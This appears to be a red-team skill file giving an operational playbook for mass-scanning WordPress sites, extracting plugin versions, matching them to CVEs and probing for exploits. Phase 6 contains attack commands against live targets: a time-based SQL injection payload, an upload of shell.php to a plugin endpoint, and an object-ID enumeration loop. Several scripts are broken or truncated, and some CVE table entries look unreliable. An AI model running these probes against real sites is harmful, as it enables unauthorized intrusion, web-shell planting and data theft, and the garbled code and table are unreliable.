| name | wp-plugin-cve-hunt |
| description | Systematic approach to finding and testing CVEs for identified WordPress plugins. Covers plugin discovery, version extraction from multiple sources (readme.txt, assets, inline JS), CVE database cross-referencing with WPScan/Patchstack/NVD/NVD API, version-based vulnerability matching, exploitation PoC generation, and false-positive elimination. Built from field experience finding exploitable plugin CVEs across 58-company mass recon including ElementsKit (CVE-2023-6851/CVE-2023-6853), Revslider (CVE-2024-2534), WPDM (CVE-2023-49753), Gravity Forms (CVE-2024-6115), and Jetpack (CVE-2024-1782). |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| category | redteam |
| tags | ["wordpress","plugin","cve","hunt","redteam"] |
WP-PLUGIN-CVE-HUNT — Systematic WordPress Plugin CVE Discovery & Exploitation
When to Use
Use after WordPress detection recon has identified a list of WP targets with known plugins. This skill goes beyond simple readme.txt version checking — it performs multi-source version extraction, CVE database cross-referencing, version comparison, vulnerability assessment, and PoC generation. Ideal when you have a list of 10+ WP domains and need to systematically find which specific plugin CVEs are exploitable.
Distinction from wp-plugin-automation: this skill focuses on the human-guided CVE research process — WPScan API integration, Patchstack database queries, NVD cross-referencing, CVE detail investigation, and manual PoC validation. wp-plugin-automation handles the batch scanning pipeline across hundreds of domains.
Quick Reference
TARGET="example.com"
for p in elementskit revslider elementor woocommerce gravityforms jetpack wp-file-manager wordpress-seo give contact-form-7; do
v=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/$p/readme.txt" 2>/dev/null | grep -i "stable tag\|version" | head -1)
[ -n "$v" ] && echo "PLUGIN: $p -> $v"
done
wpscan --url "https://$TARGET" --api-token "$WPSCAN_TOKEN" --enumerate vp
curl --max-time 30 --connect-timeout 10 -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2023-6853" | python3 -c "
import sys, json; d=json.load(sys.stdin)
vuln=d['vulnerabilities'][0]['cve']
print(f\"{vuln['id']}: {vuln['descriptions'][0]['value']}\")
print(f\"CVSS: {vuln['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']}\")
"
Step-by-Step
Phase 1 — Plugin Discovery & Multi-Source Version Extraction
Don't rely solely on readme.txt — plugins can hide version info in multiple locations:
#!/bin/bash
TARGET="$1"
PLUGIN="$2"
PLUGIN_DIR="$3"
v1=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/readme.txt" 2>/dev/null | \
grep -i "stable tag\|version" | head -1 | grep -Eo '[\d.]+')
echo "Source 1 (readme.txt): $v1"
v2=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/$PLUGIN.php" 2>/dev/null | \
grep -Eo 'Version:\s*\K[\d.]+')
echo "Source 2 (plugin header): $v2"
v3=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" 2>/dev/null | \
grep -Eo "$PLUGIN_DIR/.*?ver=([\d.]+)" | grep -Eo '[\d.]+\b' | sort -uV | tail -1)
echo "Source 3 (asset version): $v3"
v4=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/" 2>/dev/null | \
python3 -c 2>/dev/null)
src ;
[ -n ];
Phase 2 — CVE Database Cross-Referencing
#!/bin/bash
curl --max-time 30 --connect-timeout 10 -sk "https://wpscan.com/api/v3/plugins/$PLUGIN" \
-H "Authorization: Token token=$WPSCAN_TOKEN" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
print(f\"{vuln.get('cve', 'no-cve')}: {vuln.get('title', '')} ({vuln.get('fixed_in', 'unpatched')})\")
" 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=$PLUGIN&keywordExactMatch" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
cve = vuln['cve']
vid = cve['id']
desc = cve['descriptions'][0]['value'][:200] if cve['descriptions'] else ''
try:
score = cve['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']
except:
score = 'N/A'
print(f'{vid} (CVSS:{score}): {desc}')
" 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://patchstack.com/database/search/?s=$PLUGIN" | \
python3 -c "
import sys, re
content = sys.stdin.read()
cves = re.findall(r'CVE-\d{4}-\d{4,7}', content)
print(f'Patchstack CVEs: {cves}')
" 2>/dev/null
Phase 3 — Version Comparison & Vulnerability Assessment
#!/bin/bash
compare_version() {
local current="$1" fixed="$2" plugin_name="$3" cve="$4" severity="$5"
if [ -n "$current" ] && [ -n "$fixed" ]; then
if [ "$(printf '%s\n' "$fixed" "$current" | sort -V | head -1)" != "$fixed" ] && \
[ "$current" != "$fixed" ]; then
echo "[VULN] $plugin_name ($current) < $fixed → $cve ($severity)"
elif [ "$current" = "$fixed" ]; then
echo "[OK] $plugin_name ($current) = $fixed (patched for $cve)"
else
echo
}
compare_version
compare_version
compare_version
compare_version
compare_version
compare_version
compare_version
compare_version
compare_version
[ -n ] && [ != ] && \
[ != ];
Phase 4 — Candidate Validation Planning
cat <<'PLAN'
Before a plugin PoC:
1. Confirm the exact installed version from two signals.
2. Confirm the affected route and authentication prerequisite.
3. Read the vendor advisory and patch diff.
4. Obtain explicit authorization for any upload, write, delay, or execution.
5. Use a synthetic object or inert artifact and define cleanup.
6. Record a negative control on the patched or unauthorized path.
PLAN
Phase 5 — False-Positive Elimination
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/elementskit/elementskit.php" | grep "Version:"
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/elementskit/v1/" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" | head -20
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" | grep -Eo 'elementskit.*?ver=[0-9.]+'
Phase 6 — Custom CVE Discovery (0-day / Undisclosed)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/$PLUGIN/v1/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for route in d.get('routes', {}):
print(f' {route}')
except: pass
"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-admin/admin-ajax.php" -d "action=$PLUGIN_ajax_function"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$PLUGIN_param=1' AND SLEEP(5)--"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/$PLUGIN/v1/upload" -F "file=@shell.php"
for id in $(seq 1 100); do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/$PLUGIN/v1/data/$id" | jq '. | {id}' 2>/dev/null
done
Attack Surface Signals
- Plugin readme.txt accessible at /wp-content/plugins//readme.txt
- Plugin asset versions visible in HTML source (ver= parameter)
- REST API namespace includes plugin version
- WPScan output showing known vulnerabilities
- Admin notice banners in page source indicating plugin version
CVE Matrix (Curated)
| Plugin | CVE(s) | Type | Fixed In | Severity |
|---|
| ElementsKit | CVE-2023-6851, CVE-2023-6853 | SQLi + File Upload | 2.9.4 | Critical |
| ElementsKit | CVE-2024-2117 | XSS | 2.9.8 | Medium |
| Revslider | CVE-2024-2534 | RCE | 6.6.20 | Critical |
| Revslider | CVE-2022-2944 | SQLi | 6.5.8 | High |
| Revslider | CVE-2022-9821 | CSRF->XSS | 6.5.11 | Medium |
| WPDM | CVE-2023-49753 | SQLi | 3.3.00 | Critical |
| WPDM | CVE-2021-25069 | Unauth Download | 3.2.00 | High |
| WPDM | CVE-2021-34639 | Auth File Upload | 3.2.10 | High |
| Gravity Forms | CVE-2024-6115 | PHP Object Inj. | 2.8.2 | High |
| Contact Form 7 | — | File Upload Bypass | 5.6 | High |
| Jetpack | CVE-2024-1782 | SSRF | 13.1 | High |
| WP Super Cache | — | Debug Log Exposure | All | Medium |
| GSpeech | CVE-2025-10187 | XSS | 7.2 | Medium |
| WooCommerce | Multiple | Various | Varies | Varies |
| Wordfence | — | Firewall bypass | N/A | Informational |
Common Root Causes
- Plugin auto-update disabled — admin turns off updates to avoid breaking site customizations
- Abandoned plugins — developer stops maintaining, CVEs accumulate with no patches
- Nulled/premium plugins — pirated plugins with backdoors installed on budget sites
- Plugin bloat — 50+ plugins installed, impossible to track CVEs manually
- WPScan false negatives — WPScan database may not have the latest CVEs; always cross-reference
- Agency-managed neglect — agency builds site, doesn't update plugins after handoff
- readme.txt not updated — plugin is patched but readme.txt still shows old version (false positive risk)
Verification
- WPScan vulnerability DB — confirm WPScan can check CVEs:
wpscan --version 2>/dev/null && echo "PASS: wpscan available" || echo "NOTE: wpscan not installed"
- CVE pattern — confirm CVE format recognition:
echo "CVE-2024-12345" | grep -qE "CVE-[0-9]{4}-[0-9]+" && echo "PASS: CVE format recognized" || echo "FAIL"
All tests verify WP CVE hunt readiness.
Pitfalls
- CVE without version match — CVE-2024-XXXX affects "versions < 2.5.0." Having the plugin installed doesn't mean it's vulnerable. Verify the exact version.
- Patched CVE in changelog — if the changelog says "Fixed: CVE-2024-XXXX," the installed version may already include the patch. Check the release date vs version.
- CVE requiring authentication — many WordPress plugin CVEs require administrator access. These are post-auth, lower severity by default.
- Stale NVD data — NVD has a backlog. Check WPScan, Patchstack, and Wordfence for more current CVE data.
- Plugin CVE but plugin not active — an installed but deactivated plugin can't be exploited via web requests. Verify the plugin is active.
Related Skills
- hunt-wordpress — primary skill for WordPress detection and general recon
- wp-plugin-automation — batch scanning pipeline across hundreds of domains
- recon-sector — sector-specific recon (churches have highest plugin vulnerability rate)
- hunt-rce — plugin CVEs are a primary RCE path
- hunt-file-upload — file upload CVEs from plugin vulnerabilities
- hunt-sqli — SQL injection CVEs from plugin SQLi flaws
- hunt-xss — XSS CVEs from plugin injection flaws
- hunt-source-leak — debug.log reveals plugin version info